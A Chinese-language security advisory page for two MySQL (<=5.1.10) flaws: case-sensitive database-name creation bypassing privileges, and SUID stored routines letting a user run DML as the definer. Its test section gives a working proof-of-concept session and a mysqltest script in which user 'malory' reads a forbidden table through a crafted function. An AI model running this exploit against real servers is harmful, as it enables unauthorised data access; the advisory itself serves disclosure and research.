top
Loading...
MySQL權限提升及安全限制繞過漏洞

受影響系統:

MySQL AB MySQL <= 5.1.10

描述:BUGTRAQ ID: 19559

MySQL是一款使用非常廣泛的開放源代碼關系數據庫系統,擁有各種平臺的運行版本。在MySQL上,擁有訪問權限但無創建權限的用戶可以創建與所訪問數據庫僅有名稱字母大小寫區別的新數據庫。成功利用這個漏洞要求運行MySQL的文件系統支持區分大小寫的文件名。

此外,由于在錯誤的安全環境中計算了suid例程的參數,攻擊者可以通過存儲的例程以例程定義者的權限執行任意DML語句。成功攻擊要求用戶對所存儲例程擁有EXECUTE權限。

測試方法:

警 告:以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!

1 創建數據庫

$ mysql -h my.mysql.server -u sample -p -A sampleEnter password:Welcome to the MySQL monitor.  Commands end with ; or g.Your MySQL connection id is 263935 to server version: 4.1.16-standardmysql> create database another;ERROR 1044: Access denied for user 'sample'@'%' to database 'another'mysql> create database sAmple;  Query OK, 1 row affected (0.00 sec)

2 權限提升

--disable_warningsdrop database if exists mysqltest1;drop database if exists mysqltest2;drop function if exists f_suid;--enable_warnings# Prepare playgroundcreate database mysqltest1;create database mysqltest2;create user malory@localhost;grant all privileges on mysqltest1.* to malory@localhost;# Create harmless (but SUID!) functioncreate function f_suid(i int) returns int return 0;grant execute on function test.f_suid to malory@localhost;use mysqltest2;# Create table in which malory@localhost will be interested but to which# he won't have any accesscreate table t1 (i int);connect (malcon, localhost, malory,,mysqltest1);# Correct malory@localhost don't have access to mysqltest2.t1--error ER_TABLEACCESS_DENIED_ERRORselect * from mysqltest2.t1;# Create function which will allow to exploit security holedelimiter |;create function f_evil ()  returns int  sql security invokerbegin  set @a:= current_user();  set @b:= (select count(*) from mysqltest2.t1);  return 0;end|delimiter ;|# Again correct--error ER_TABLEACCESS_DENIED_ERRORselect f_evil();select @a, @b;# Oops!!! it seems that f_evil() is executed in the context of# f_suid() definer, so malory@locahost gets all info that he wantsselect test.f_suid(f_evil());select @a, @b;connection default;drop user malory@localhost;drop database mysqltest1;drop database mysqltest2;
作者:http://www.zhujiangroad.com
來源:http://www.zhujiangroad.com
北斗有巢氏 有巢氏北斗